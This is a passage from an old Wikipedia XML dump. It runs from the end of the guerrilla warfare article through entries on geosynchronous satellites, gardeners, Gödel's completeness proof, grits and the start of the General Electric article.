Guerrilla warfare formed an integral part of the US/NATO military campaigns in Kosovo in the late [[1990s]] and Afghanistan in [[2001]], which created a unique style of warfare combining low-technology guerrilla warfare with high-technology air power. In these campaigns, guerrilla fighters with coordination from [[special force]]s would engage the enemy, forcing them to move out into the open where they could be destroyed using air power supplied by the [[United States]]. In both cases, the guerrillas were able to take advantage of their local knowledge and willingness to take casualties to great effect when supplemented by outside air power. In Kosovo the [[Kosovo Liberation Army]], a separatist paramilitary force, was aided by the [[NATO]] air forces. In [[Afghanistan]] numerous anti-[[Taliban]] militias (consisting of regular soldiers and guerrillas), including the [[Afghan Northern Alliance]], were aided by US air power. This formula was used again, in [[2003 invasion of Iraq|War on Iraq]], against the Iraqi Army by Kurdish [[Peshmerga]] guerrillas with the aid of U.S. special forces and the [[United States Air Force|U.S. Air Force]].

=== Guerrilla in Iraq (2003-today) ===
Many guerrilla tactics are used by the [[Iraqi insurgency]] against the US-led coalition. Such tactics include exploding cars, donkeys and humans. They have injured more than 25,000 coalition troops and killed around 2,000 US soldiers.

== See also ==
* [[Spass guerilla]]
* [[Guerrilla communication]]
* [[List of guerrillas|List of famous guerrillas]]
* [[List of guerrilla movements]]
* [[War]]
* [[Combatant]]
* [[Asymmetric warfare]]
* [[Vietnam War]]
* [[Lord's Resistance Army]]
* [[Gladio]]
* [[Edmund Charaszkiewicz]]
* [[Cavalry in the American Civil War]]

==References==
* {{cite book | last = Mackey | first =  Robert R. | title = The UnCivil War: Irregular Warfare in the Upper South, 1861–1865 | location = Norman, Okla. | publisher =  University of Oklahoma Press | year = 2004 | id = ISBN 0806136243 }}

== Notes ==
# {{note|refbot.779}} {{Web reference | title= Minimanual of the Urban Guerrilla | url=http://www.baader-meinhof.com/students/resources/print/minimanual/manualtext.html | date=November 19 | year=2005 }}
# {{note|news.bbc.co.uk.780}} {{Web reference | title=BBC ON THIS DAY : 27 : 1979: Soldiers die in Warrenpoint massacre | url=http://news.bbc.co.uk/onthisday/hi/dates/stories/august/27/newsid_3891000/3891055.stm | date=November 19 | year=2005 }}
# {{note|www.bbc.co.uk.781}} {{Web reference | title=BBC - History - War and Conflict | url=http://www.bbc.co.uk/history/war/troubles/hungerstrikes/negotiations.shtml | date=November 19 | year=2005 }}
# {{note|www.cnn.com.782}} {{Web reference | title=CNN - Almanac - Nov. 27, 1996 | url=http://www.cnn.com/almanac/9611/27/ | date=November 19 | year=2005 }}
# {{note|www.cnn.com.783}} {{Web reference | title=CNN - IRA splinter gang kills top Protestant guerrilla - December 27, 1997 | url=http://www.cnn.com/WORLD/9712/27/n.ireland.killing/ | date=November 19 | year=2005 }}
# {{note|www.reuters.co.uk.784}} {{Web reference | title=http://www.reuters.co.uk/newsPackageArticle.jhtml?type=topNews&amp;storyID=584330&amp;section=news | url=http://www.reuters.co.uk/newsPackageArticle.jhtml?type=topNews&amp;storyID=584330&amp;section=news | date=November 19 | year=2005 }}

== External links ==
{{commons|Guerrilla warfare}}
* [http://forum.axishistory.com/viewtopic.php?t=68053 Could the Baltic States have resisted to the Soviet Union?]
* [http://www.angelfire.com/de/Cerskus/english/links1.html Crimes of Soviet Communists] &amp;mdash; Wide collection of sources and links about Guerrilla war in the Baltic states against Soviet occupation
* [http://social.chass.ncsu.edu/jouvert/v613/sri.htm News Coverage of Guerrilla Warfare]
* [http://polarmad.galeon.com Los movimientos armados en la Argentina] (Spanish)

[[Category:Warfare]]
[[Category:Irregular military]]
[[Category:Guerrilla wars|Guerrilla wars]]

[[bg:Партизани]]
[[da:Guerilla]]
[[de:Guerilla]]
[[eo:Gerilo]]
[[es:Guerrilla]]
[[eu:Gerrilla]]
[[fi:Sissisota]]
[[fr:Guérilla]]
[[he:גרילה]]
[[id:Gerilya]]
[[ja:ゲリラ]]
[[ms:Gerila]]
[[nl:Guerrilla]]
[[nn:Gerilja]]
[[no:Gerilja]]
[[pl:Partyzantka]]
[[pt:Guerrilha]]
[[ru:Партизанская война]]
[[sv:Gerillakrigföring]]
[[zh:游击战]]</text>
    </revision>
  </page>
  <page>
    <title>Geosynchronous satellite</title>
    <id>12721</id>
    <revision>
      <id>42031245</id>
      <timestamp>2006-03-03T09:15:40Z</timestamp>
      <contributor>
        <ip>67.188.153.204</ip>
      </contributor>
      <text xml:space="preserve">A '''geosynchronous satellite''' is a [[satellite]] whose orbital track on the Earth repeats regularly over points on the Earth over time.  If such a satellite's orbit lies over the [[equator]], it is called a '''geostationary satellite'''.  The orbits of the satellites are known as the [[geosynchronous orbit]] and [[geostationary orbit]]. Other well-known geosynchronous orbits include the well-known [[Molniya orbit|Molniya]] and [[Tundra elliptical orbits]].

==Definition==

According to [[Kepler's laws of planetary motion|Kepler's Third Law]], the orbital period of a satellite in a circular orbit increases with increasing altitude. Space stations and shuttles in [[Low Earth orbit]] (LEO), typically two or four hundred miles above the Earth's surface make between fifteen and sixteen revolutions per day. The Moon, at an altitude of about 240,000 miles (385,000 km), takes thirty days to make a complete rotation. Between those extremes lies the &quot;magic&quot; altitude of 22,300 miles (35,786 km) at which a satellite's orbital period matches, or is an integral part of, the period at which the Earth rotates: once every [[sidereal day]] (23 hours 56 minutes). In that case, the satellite is said to be ''geosynchronous''.

If a geosynchronous satellite's orbit is not exactly aligned with the equator, known as an [[inclined orbit]], it will appear (when viewed by someone on the ground) to oscillate daily around a fixed point in the sky. As the angle between the orbit and the equator decreases, the magnitude of this oscillation becomes smaller; when the orbit lies entirely over the equator, the satellite remains stationary relative to the Earth's surface &amp;ndash; it is said to be ''geostationary''.

==Application==

There are approximately 300 operational geosynchronous satellites. 

Geostationary satellites appear to be fixed over one spot above the equator. Receiving and transmitting antennae on the earth do not need to track such a satellite. These antennae can be fixed in place and are much less expensive than tracking antennae. These satellites have revolutionized global communications, television broadcasting and weather forecasting, and have a number of important defense and intelligence applications.

One disadvantage of geostationary satellites is a result of their high altitude: radio signals take approximately 1/4 of a second to reach and return from the satellite, resulting in a small but significant signal delay.  This delay increases the difficulty of telephone conversation and reduces the performance of common network protocols such as [[Internet protocol suite|TCP/IP]], but does not present a problem with non-interactive systems such as television broadcasts. There are a number of proprietary satellite data protocols that are designed to proxy TCP/IP connections over long-delay satellite links -- these are marketed as being a partial solution to the poor performance of native TCP over satellite links. TCP presumes that all loss is due to congestion, not errors, and probes link capacity with its &quot;slow start&quot; algorithm, which only sends packets once it is known that earlier packets have been received. Slow start is very slow over a path using a geostationary satellite.

Another disadvantage of geostationary satellites is the incomplete geographical coverage, since ground stations at higher than roughly 60 degrees latitude have difficulty reliably receiving signals at low elevations. Satellite dishes in the Northern Hemisphere would need to be pointed almost directly towards the south, the general direction where the centre of our [[galaxy]] is also located, whose intense cosmic radiation bombards the receivers with strong radio noise and suppresses most signals. The signals would have to pass through the largest amount of atmosphere, and could even be blocked by land features. In the [[Soviet Union|USSR]], a practical solution has been developed for this problem with the creation of special [[Molniya]] / [[Orbita]] inclined path satellite networks with elliptical orbits. Similar elliptical orbits are used for the [[Sirius Radio]] satellites.

Furthermore, since geostationary satellites are always positioned above the equator, it is impossible for them to see the north or south poles.  They are able to cover the areas equal or less than 70 degrees latitude north or south; the Earth is not perfectly spherical, but flattened at the poles.

==History==

The concept was first proposed by the [[science fiction author]] [[Arthur C. Clarke]] in a paper in Wireless World in 1945, based on [[Herman Potočnik]]'s previous work. Working prior to the advent of solid-state electronics, Clarke envisioned a trio of large, manned space stations arranged in a triangle around the planet. Modern satellites are numerous, unmanned, and often no larger than an automobile.

The first geosynchronous satellite was [[Syncom 2]], launched on a [[Delta rocket]] B booster from [[Cape Canaveral]] [[26 July]], [[1963]].  It was used a few months later for the world's first satellite relayed [[telephone]] call, between [[United States|U.S.]] President [[John F. Kennedy]] and [[Nigeria]]n Prime minister [[Abubakar Tafawa Balewa]].

The first [[geostationary]] communication satellite was [[Syncom 3]], launched on [[August 19]], [[1964]] with a Delta D launch vehicle from Cape Canaveral. The satellite, in orbit near the [[International Date Line]], was used to telecast the [[1964 Summer Olympics]] in [[Tokyo]] to the [[United States]]. It was the first [[television]] program to cross the [[Pacific ocean]].

''See also'': [[Satellite television]]

==External links==
[http://science.nasa.gov/Realtime/JTrack/3D/JTrack3D.html NASA's software for satellite tracking] shows clearly the position of satellites in geosynchronous orbit.

[[Category:Space exploration]]
[[Category:Satellites]]

[[cs:Geostacionární družice]]
[[id:Orbit Geosinkron]]
[[ja:静止衛星]]
[[zh:地球同步卫星]]</text>
    </revision>
  </page>
  <page>
    <title>Geostationary satellite</title>
    <id>12722</id>
    <revision>
      <id>15910389</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Geosynchronous satellite]].
</text>
    </revision>
  </page>
  <page>
    <title>Gardener</title>
    <id>12726</id>
    <revision>
      <id>40131124</id>
      <timestamp>2006-02-18T10:19:54Z</timestamp>
      <contributor>
        <username>Salix alba</username>
        <id>212526</id>
      </contributor>
      <comment>/* See also */ Category:Gardeners</comment>
      <text xml:space="preserve">A '''gardener''' is any person involved in the growing and maintenance of plants, notably in a [[garden]]. The terms encompasses persons from different walks of life involved in [[gardening]], arguably the oldest profession, from the [[hobbyist]] in a [[residential garden]], the homeowner supplementing the family food with a small vegetable garden or orchard, to a worker engaged in maintaining greenery for money or the [[head gardener]] in a large estate.

The term gardener is also used to describe [[garden design|garden designers]] and [[landscape gardener|landscape gardeners]], who are involved chiefly in the design of gardens, rather than the practical aspects of gardening.

Gardening has a long history, and there have been many pioneering gardeners of note, from the great landscape gardeners of the [[18th Century]], to those who created or expanded the idea of the &quot;no-dig&quot; garden.  In addition, [[television]] lifestyle programs have spawned a number of [[celebrity gardener]]s.


== Notable gardeners ==
* [[Luis Barragan]]
* [[Geoffrey Bawa]]
* [[Capability Brown|Lancelot &quot;Capability&quot; Brown]]
* [[Carolus Clusius]]
* [[Esther Dean]]
* [[A. J. Downing]]
* [[Ian Hamilton Finlay]]
* [[C. Z. Guest]]
* [[Robert Hart (forest gardener)|Robert Hart]]
* [[Michael Heseltine]]
* [[Derek Jarman]]
* [[Gertrude Jekyll]]
* [[William Kent]]
* [[Andre le Notre]]
* [[Lucullus]]
* [[John Beverley Nichols]]
* [[Frederick Law Olmsted]]
* [[Russell Page]]
* [[Pliny the Elder|Pliny]]
* [[Humphrey Repton]]
* [[William Robinson (gardener)|William Robinson]]
* [[Percy Thrower]]
* [[Alan Titchmarsh]]
* [[Vita Sackville-West]]
* [[William Shenstone]]
* [[Geoffrey Smith]]
* [[Theophrastus]]
* [[Tiberius]]
* [[John Tradescant]]
* [[Edith Wharton]]
* [[Ozcar]]
* [[Charlie Dimmock]]
* [[Bob Flowerdew]]
* [[Pippa Greenwood]]

==See also==

*[[garden]]
*[[gardening]]
*[[head gardener]]

[[Category:Gardeners]]

[[da:Gartner]]
[[nl:Hovenier]]</text>
    </revision>
  </page>
  <page>
    <title>Original proof of Gödel's completeness theorem</title>
    <id>12727</id>
    <revision>
      <id>41652936</id>
      <timestamp>2006-02-28T20:40:51Z</timestamp>
      <contributor>
        <username>Trovatore</username>
        <id>310173</id>
      </contributor>
      <comment>/* Gödel's Theorem */ rm this section (about incompleteness, not completeness)</comment>
      <text xml:space="preserve">The proof of [[Gödel's completeness theorem]] given by [[Kurt Gödel]] in his doctoral dissertation of [[1929]] (and a rewritten version of the dissertation, published as an article in [[1930]]) is not easy to read today; it uses concepts and formalism that are outdated and terminology that is often obscure. The version given below attempts to faithfully represent all the steps in the proof and all the important ideas, yet to rewrite the proof in the modern language of [[mathematical logic]]. This outline should not be considered a rigorous proof of the theorem.



== Definitions and assumptions ==

We work with [[first-order predicate calculus]]. Our languages allow constant, function and relation symbols. Structures consist of (non-empty) domains and interpretations of the relevant symbols as constant members, functions or relations over that domain.

We fix some axiomatization of the predicate calculus: logical axioms and rules of inference. Any of the several well-known axiomatisations will do; we assume without proof all the basic well-known results about our formalism (such as the [[normal form theorem]] or the [[soundness theorem]]) that we need.

We axiomatize predicate calculus ''without equality'', i.e. there are no special axioms expressing the properties of equality as a special relation symbol. After the basic form of the theorem is proved, it will be easy to extend it to the case of predicate calculus ''with equality''. 

==Statement of the theorem and some reductions==

==Theorem 1. Every formula valid in all structures is provable.==

This is the most basic form of the completeness theorem. We immediately restate it in a form more convenient for our purposes:

==Theorem 2. Every formula &amp;phi; is either refutable, or satisfiable in some structure.==

&quot;&amp;phi; is refutable&quot; means ''by definition'' &quot;¬&amp;phi; is provable&quot;.

To see the equivalence, note first that if '''Theorem 1''' holds, and &amp;phi; is not satisfiable in any structure, then ¬&amp;phi; is valid in all structures and therefore provable, thus &amp;phi; is refutable and '''Theorem 2''' holds. If on the other hand '''Theorem 2''' holds and &amp;phi; is valid in all structures, then ¬&amp;phi; is not satisfiable in any structure and therefore refutable; then ¬¬&amp;phi; is provable and then so is &amp;phi;, thus '''Theorem 1''' holds.

We approach the proof of '''Theorem 2''' by successively restricting the class of all formulas &amp;phi; for which we need to prove &quot;&amp;phi; is either refutable or satisfiable&quot;. At the beginning we need to prove this for all possible formulas &amp;phi; in our language. However, suppose that for every formula &amp;phi; there is some formula &amp;psi; taken from a more restricted class of formulas '''C''', such that &quot;&amp;psi; is either refutable or falsifiable&quot; &amp;rarr; &quot;&amp;phi; is either refutable or falsifiable&quot;. Then, once this claim (expressed in the previous sentence) is proved, it will suffice to prove &quot;&amp;phi; is either refutable or falisifiable&quot; only for &amp;phi;'s belonging to the class '''C'''. Note also that if &amp;phi; is provably equivalent to &amp;psi; (''i.e.'', (&amp;phi;&amp;equiv;&amp;psi;) is provable), then it is indeed the case that &quot;&amp;psi; is either refutable or satisfiable&quot;  &amp;rarr; &quot;&amp;phi; is either refutable or satisfiable&quot; (the [[soundness theorem]] is needed to show this).

We start restricting the class of formulas &amp;phi; to prove our theorem for by eliminating function and constant symbols. 
('''to be rewritten...''')
According to the considerations in the previous paragraph, we see now that we need only to prove '''Theorem 2''' for &amp;phi;'s which do not use function or constant symbols. 

''Note: the reduction of the preceding paragraph is absent from Gödel's paper because he uses a version of first-order predicate calculus which has no function or constant symbols to begin with.''

Next we consider a generic formula &amp;phi; (which no longer uses function or constant symbols) and apply the [[normal form theorem]] to find a formula &amp;psi; in ''normal form'' such that &amp;phi;&amp;equiv;&amp;psi; (&amp;psi; being in ''normal form'' means that all the quantifiers in &amp;psi;, if there are any, are found at the very beginning of &amp;psi;). The [[normal form theorem]] proves that such a &amp;psi; exists for every &amp;phi;, and the construction of &amp;psi; from &amp;phi; adds no new function or constant symbols. It follows now that we need only prove '''Theorem 2''' for formulas &amp;phi; in normal form without function or constant symbols.

Next, we eliminate all free variables from &amp;phi; by quantifying them existentially: if, say, '''x&lt;sub&gt;1&lt;/sub&gt;...x&lt;sub&gt;n&lt;/sub&gt;''' are free in &amp;phi;, we form &lt;math&gt;\psi=\exists x_1 ... \exists x_n \phi&lt;/math&gt;. If &amp;psi; is satisfiable in a structure M, then certainly so is &amp;phi; and if &amp;psi; is refutable, then &lt;math&gt;\neg \psi = \forall x_1 ... \forall x_n \neg \phi&lt;/math&gt; is provable, and then so is ¬&amp;phi;, thus &amp;phi; is refutable. We see that we can restrict &amp;phi; to be a ''sentence'', that is, a formula with no free variables.

Finally, we would like, for reasons of technical convenience, that the ''prefix'' of &amp;phi; (that is, the string of quantifiers at the beginning of &amp;phi;, which is in normal form)  begin with a universal quantifier and end with an existential quantifier. To achieve this for a generic &amp;phi; (subject to restrictions we have already proved), we take some one-place relation symbol '''F''' unused in &amp;phi;, and two new variables '''y''' and '''z'''.. If &amp;phi; = '''(P)&amp;Phi;''', where (P) stands for the prefix of &amp;phi; and &amp;Phi; for the ''matrix'' (the remaining, quantifier-free part of &amp;phi;) we form &lt;math&gt;\psi = \forall y (P) \exists z ( \Phi \vee [ F(y) \vee \neg F(z) ] )&lt;/math&gt;. Since &lt;math&gt;\forall y \exists z ( F(y) \vee \neg F(z) )&lt;/math&gt; is clearly provable, it is easy to see that &lt;math&gt;\phi=\psi&lt;/math&gt; is provable. 

'''Reducing the theorem to formulas of degree 1'''

Our generic formula &amp;phi; now is a sentence, in normal form, and its prefix starts with a universal quantifier and ends with an existential quantifier. Let us call the class of all such formulas '''R'''. We are faced with proving that every formula in '''R''' is either refutable or satisfiable. Given our formula &amp;phi;, we group strings of quantifiers of one kind together in blocks:

:&lt;math&gt;\phi = (\forall x_1 ... \forall x_{k_1})(\exists x_{k_1+1} ... \exists x_{k_2}).......(\forall x_{k_{n-2}+1} ... \forall x_{k_{n-1}})(\exists x_{k_{n-1}+1} ... \exists x_{k_n}) (\Phi)&lt;/math&gt;

We define the '''degree''' of &lt;math&gt;\phi&lt;/math&gt; to be the number of universal quantifier blocks, separated by existential quantifier blocks as shown above, in the matrix of &lt;math&gt;\phi&lt;/math&gt;. The following lemma lets us sharply reduce the complexity of the generic formula &lt;math&gt;\phi&lt;/math&gt; for which we need to prove the theorem:

'''Lemma'''. Let '''k'''&gt;=1. If every formula in '''R''' of degree '''k''' is either refutable or satisfiable, then so is every formula in '''R''' of degree '''k+1'''.

'''Proof.''' Let &amp;phi; be a formula of degree '''k+1'''; then we can write it as

:&lt;math&gt;\phi = (\forall x)(\exists y)(\forall u)(\exist v) (P) \psi&lt;/math&gt;

where '''(P)''' is the remainder of the prefix of &lt;math&gt;\phi&lt;/math&gt; (it is thus of degree '''k-1''') and &lt;math&gt;\psi&lt;/math&gt; is the quantifier-free matrix of &lt;math&gt;\phi&lt;/math&gt;. '''x''', '''y''', '''u''' and '''v''' denote here ''tuples'' of variables rather than single variables; ''e.g.'' &lt;math&gt;(\forall x)&lt;/math&gt; really stands for  &lt;math&gt;\forall x_1 \forall x_2 ... \forall x_n&lt;/math&gt; where &lt;math&gt;x_1 ... x_n&lt;/math&gt; are some distinct variables.

Let now '''x'''' and '''y'''' be tuples of previously unused variables of the same length as '''x''' and '''y''' respectively, and let '''Q''' be a previously unused relation symbol which takes as many arguments as the sum of lengths of '''x''' and '''y'''; we consider the formula

:&lt;math&gt;\Phi = (\forall x')(\exists y') Q(x',y') \wedge (\forall x)(\forall y)( Q(x,y) \rightarrow (\forall u)(\exist v)(P)\psi )&lt;/math&gt;

Clearly, &lt;math&gt;\Phi \rightarrow \phi&lt;/math&gt; is provable.

Now since the string of quantifiers &lt;math&gt;(\forall u)(\exists v)(P)&lt;/math&gt; does not contain variables from '''x''' or '''y''', the following equivalence is easily provable with the help of whatever formalism we're using:

:&lt;math&gt;( Q(x,y) \rightarrow (\forall u )(\exists v)(P) \psi) \equiv (\forall u)(\exists v)(P) ( Q(x,y) \rightarrow \psi )&lt;/math&gt;

And since these two formulas are equivalent, if we replace the first with the second inside &amp;Phi;, we obtain the formula &amp;Phi;' such that &amp;Phi;&amp;equiv;&amp;Phi;':

:&lt;math&gt;\Phi' = (\forall x')(\exist y') Q(x',y') \wedge (\forall x)(\forall y) (\forall u)(\exists v)(P) ( Q(x,y) \rightarrow \psi )&lt;/math&gt;

Now &amp;Phi;' has the form &lt;math&gt;(S)\rho \wedge (S')\rho'&lt;/math&gt;, where '''(S)''' and '''(S')''' are some quantifier strings, &amp;rho; and &amp;rho;' are quantifier-free, and, '''furthermore''', no variable of '''(S)''' occurs in &amp;rho;' and no variable of '''(S')''' occurs in &amp;rho;. Under such conditions every formula of the form &lt;math&gt;(T)(\rho \wedge \rho')&lt;/math&gt;, where '''(T)''' is a string of quantifiers containing all quantifiers in (S) and (S') interleaved among themselves in any fashion, but maintaining the relative order inside (S) and (S'), will be equivalent to the original formula &amp;Phi;'(this is yet another basic result in first-order predicate calculus that we rely on). To wit, we form &amp;Psi; as follows:
:&lt;math&gt;\Psi = (\forall x')(\forall x)(\forall y) (\forall u)(\exists y')(\exists v)(P)Q(x',y') \wedge (Q(x,y) \rightarrow \psi )&lt;/math&gt;

and we have &lt;math&gt;\Phi' \equiv \Psi&lt;/math&gt;.

Now &lt;math&gt;\Psi&lt;/math&gt; is a formula of degree '''k''' and therefore by assumption either refutable or satisfiable.
If &lt;math&gt;\Psi&lt;/math&gt; is satisfiable in a structure '''M''', then, considering &lt;math&gt;\Psi \equiv \Phi' \equiv \Phi \wedge \Phi \rightarrow \phi&lt;/math&gt;, we see that &lt;math&gt;\phi&lt;/math&gt; is satisfiable as well.
If &lt;math&gt;\Psi&lt;/math&gt; is refutable, then so is &lt;math&gt;\Phi&lt;/math&gt; which is equivalent to it; thus &lt;math&gt;\neg \Phi&lt;/math&gt; is provable.
Now we can replace all occurrences of Q inside the provable formula &lt;math&gt;\neg \Phi&lt;/math&gt; by some other formula dependent on the same variables, and we will still get a provable formula.
(''This is yet another basic result of first-order predicate calculus. Depending on the particular formalism adopted for the calculus, it may be seen as a simple application of a &quot;functional substitution&quot; rule of inference, as in Gödel's paper, or it may be proved by considering the formal proof of &lt;math&gt;\neg \Phi&lt;/math&gt;, replacing in it all occurrences of Q by some other formula with the same free variables, and noting that all logical axioms in the formal proof remain logical axioms after the substitution, and all rules of inference still apply in the same way.'')

In this particular case, we replace Q in &lt;math&gt;\neg \Phi&lt;/math&gt; with the formula &lt;math&gt;(\forall u)(\exists v)(P)\psi(x,y|x',y')&lt;/math&gt;. &lt;math&gt;\neg \Phi&lt;/math&gt; then becomes

:&lt;math&gt;\neg ( (\forall x')(\exists y') (\forall u)(\exists v)(P)\psi(x,y|x',y') \wedge (\forall x)(\forall y) ( (\forall u)(\exists v)(P)\psi \rightarrow (\forall u)(\exists v)(P) \psi ) )&lt;/math&gt;

and this formula is provable; since the part under negation and after the &lt;math&gt;\wedge&lt;/math&gt; sign is obviously provable, and the under negation and part before the &lt;math&gt;\wedge&lt;/math&gt; sign is obviously &amp;phi;, just with '''x''' and '''y''' replaced by '''x'''' and '''y'''', we see that &lt;math&gt;\neg \phi&lt;/math&gt; is provable, and &amp;phi; is refutable. We have proved that &amp;phi; is either satisfiable or refutable, and this concludes the proof of the '''Lemma'''.

'''Proving the theorem for formulas of degree 1'''

As shown by the '''Lemma''' above, we only need to prove our theorem for formulas &amp;phi; in '''R''' of degree 1. &amp;phi; cannot be of degree 0, since formulas in R have no free variables and don't use constant symbols.

:''to be continued''

'''Extensions'''

'''Extension to first-order predicate calculus with equality'''

'''Extension to countable sets of formulas'''

[[Category:Logic]]
[[Category:Model theory]]
[[Category:Proofs]]</text>
    </revision>
  </page>
  <page>
    <title>Gerdur Gymisdottir</title>
    <id>12728</id>
    <revision>
      <id>15910395</id>
      <timestamp>2004-08-21T23:26:31Z</timestamp>
      <contributor>
        <username>Jallan</username>
        <id>13575</id>
      </contributor>
      <comment>Changing to a redirect to [[Gerd]] where material has been transferred.</comment>
      <text xml:space="preserve">#REDIRECT [[Gerd]]</text>
    </revision>
  </page>
  <page>
    <title>Grits</title>
    <id>12729</id>
    <revision>
      <id>41496621</id>
      <timestamp>2006-02-27T19:36:20Z</timestamp>
      <contributor>
        <ip>68.105.157.197</ip>
      </contributor>
      <text xml:space="preserve">:''This article is about the corn-based Southern U.S. food; for other meanings, see [[Grit (disambiguation)]]. 

[[Image:Grits 1.jpg|thumb|Grits and a waffle]]
'''Grits''' is a type of [[maize]] [[porridge]] and a [[food]] common in the [[Southern United States]], [[East Africa]] (where it is called [[Ugali]] in [[Swahili]]) and southern [[Manchuria]] (where it is called Gezi in Chinese) consisting of coarsely ground [[maize|corn]], traditionally by a stone [[mill (grinding)|mill]].  The results are passed through screens, with the finer part being [[corn meal]], and the coarser being grits.  Many communities in the South had a [[gristmill]] until the mid-[[20th century]], with families bringing their own corn to be ground, and the [[miller]] retaining a portion of the corn for his fee.  Grits aficionados still prefer stone ground grits, although modern milling tends to prefer faster methods.

The word &quot;grits&quot; comes from Old English ''grytta'' meaning a coarse meal of any kind.  Yellow grits include the entire [[seed|kernel]], while white grits use hulled kernels.  Grits are prepared by simply boiling into a [[porridge]]; normally they are boiled until enough water evaporates to leave them semi-solid however.  They are traditionally served at breakfast, but can also be used at any meal.

'''Hominy grits''' are ground from [[Hominy]], that is to say, from corn that is first hulled and treated through [[nixtamalization]] and then dried and coarsely ground.  This contrasts with European [[polenta]], which is made from cornmeal made by grinding kernels which have not been hulled.

Grits are also similar to [[farina (food)|farina]].

Grits are commonly eaten with a variety of added foods:
*Butter
*Butter, salt and pepper
*Butter and sugar
*Gravy
*Butter, milk, and brown sugar (more typical of the Midwest than the South)
*Cheese
*Cheese and eggs
*Sugar
*Ketchup
*Tomatoes
*Bacon or ham
*[[Livermush]]
*Shrimp, popularized by [[Bill Neal]] at Crook's Corner in [[Chapel Hill, North Carolina]]
*Sour cream

''See also:'' [[grist mill]], [[United States Regional Cuisine]]
{{cookbookpar|Hominy Grits}}

[[Category:American cuisine]]  
[[Category:Breakfast foods]]
[[Category:Cuisine of the Southern United States]]

[[de:Grütze]]</text>
    </revision>
  </page>
  <page>
    <title>General Electric</title>
    <id>12730</id>
    <revision>
      <id>41872097</id>
      <timestamp>2006-03-02T07:10:37Z</timestamp>
      <contributor>
        <ip>24.19.153.31</ip>
      </contributor>
      <comment>/* GE's Brand */</comment>
      <text xml:space="preserve">{{Infobox_Company |
  company_name   = General Electric Co. |
  company_logo   = [[Image:GeneralElectric.jpg|center|200px|]] |
  company_type   = Public ([[NYSE]]: [http://www.nyse.com/about/listed/lcddata.html?ticker=GE GE]) |
  company_slogan = Imagination at work |
  foundation     = [[1879]] |
  location       = [[Fairfield, Connecticut]] |
  key_people     = [[Jeff Immelt]], Chairman &amp; CEO&lt;br&gt;[[Keith S. Sherin]], CFO&lt;br&gt;[[Sir William Castell]],Executive Vice Chairman&lt;br&gt;[[Gary M. Reiner]], CIO&lt;br&gt;[[Dennis Dammerman]],Executive Vice Chairman&lt;br&gt;[[Robert Charles Wright|Robert Wright]], Vice Chairman |
  num_employees  = ~315,000 ([[2004]]) |
  revenue        = [[Image:green up.png]]$152.363 Billion [[United States dollar|USD]] ([[2004]]) |
  industry       = [[Conglomerate (company)|Conglomerates]] |
  products       = [[aircraft jet engine]]s&lt;br&gt;[[electricity]]&lt;br&gt;[[entertainment]]&lt;br&gt;[[finance]]&lt;br&gt;[[generation]]&lt;br&gt;[[industrial automation]] &lt;br&gt;[[lighting]]&lt;br&gt;[[medical imaging equipment]] &lt;br&gt;[[motor]]s&lt;br&gt;[[plastics]]&lt;br&gt;[[railway locomotive]]s&lt;br&gt;[[silicones]] |
  homepage       = [http://www.ge.com/ www.ge.com]
}}{{redirect|GE}}

The '''General Electric''' Company, or '''GE''' ({{nyse|GE}}) is a multinational technology and services company. Going into [[2005]], it was the world's largest [[corporation]] in terms of [[market capitalization]] ([http://screen.yahoo.com/b?mc=100000000/&amp;b=1&amp;z=mc&amp;db=stocks&amp;vw=1]). It should not be confused with [[The General Electric Company plc]], which was renamed [[Marconi plc]] in [[1999]].

In the [[1960s]], peculiarities in U.S. tax laws and accounting practices made it fashionable to assemble [[Conglomerate (company)|conglomerates]]. GE, which was a conglomerate long before the term was coined, is one of the very few corporations to achieve great success with this kind of organization.

==History==
In [[1876]], [[Thomas Alva Edison]] opened a new [[laboratory]] in [[Menlo Park, New Jersey|Menlo Park]], [[New Jersey]]. Out of the laboratory was to come perhaps the most famous invention of all&amp;mdash;a successful development of the [[light bulb|incandescent electric lamp]]. By [[1890]], Edison had organized his various businesses into the [[Edison General Electric Company]].

In [[1879]], [[Elihu Thomson]] and [[Edwin J. Houston]] formed the rival [[Thomson-Houston Electric Company]]. It merged with various companies and was later led by Charles A. Coffin, a former shoe manufacturer from [[Lynn, Massachusetts]]. [[Merger]]s with competitors and the [[patent]] rights owned by each company put them into dominant positions in the electrical industry. As businesses expanded, it became increasingly difficult for either company to produce complete electrical installations relying solely on their own technology. In [[1892]], these two major companies combined, in a merger arranged by [[financier]] [[J. P. Morgan]], to form the General Electric Company, with its headquarters in [[Schenectady, New York]].

In [[1896]], General Electric was one of the [[Dow Jones Industrial Average#History|original 12]] companies listed on the newly-formed [[Dow Jones Industrial Average]]. GE is the only one that remains today.

The [[Radio Corporation of America]] (RCA) was founded by GE and [[American Telephone &amp; Telegraph]] (AT&amp;T) in [[1919]] to further international [[radio]]. General Electric was one of the eight major [[computer]] companies (with [[IBM]] - the largest, [[Burroughs]], [[Scientific Data Systems]], [[Control Data Corporation]], [[Honeywell]], RCA and [[UNIVAC]]) through most of the [[1960s]]. GE had an extensive line of general purpose and special purpose computers. Among them were the [[GE-200 series|GE 200]], GE 400, and [[GE-600 series|GE 600]] series general purpose computers, the GE 4010, GE 4020, and GE 4060 real time process control computers, and the Datanet 30 message switching computer. A Datanet 600 computer was designed, but never sold. It has been said that GE got into the computer manufacturing business because in the [[1950s]] they were the largest user of computers outside of the [[United States federal government]]. In [[1970]] GE sold its computer division to Honeywell.

In [[1986]], GE re-acquired RCA, primarily for the [[NBC]] television network. The rest was sold to various companies, including [[Bertelsmann]] and [[Thomson SA|Thomson]].

In [[2004]], GE bought the television and movie assets of [[Vivendi Universal]] and became the third largest media conglomerate in the world. The new company was named [[NBC Universal]]. Also in [[2004]], GE completed the [[spinoff]] of most of its [[life insurance|life]] and [[mortgage]] [[insurance]] assets into an independent company, [[Genworth Financial]], based in [[Richmond, Virginia]]. In that same year, GE also acquired the [[credit card]] unit of the [[department store]] [[Dillard's]] for $1.25 billion.

In [[2005]], General Electric bought the financial assets of the [[Economy of Canada|Canadian]] airplane manufacturer [[Bombardier]] for $1.4 billion [http://www.bloomberg.com/apps/news?pid=10000082&amp;sid=aeIc.zt1tBbc]

==Today==
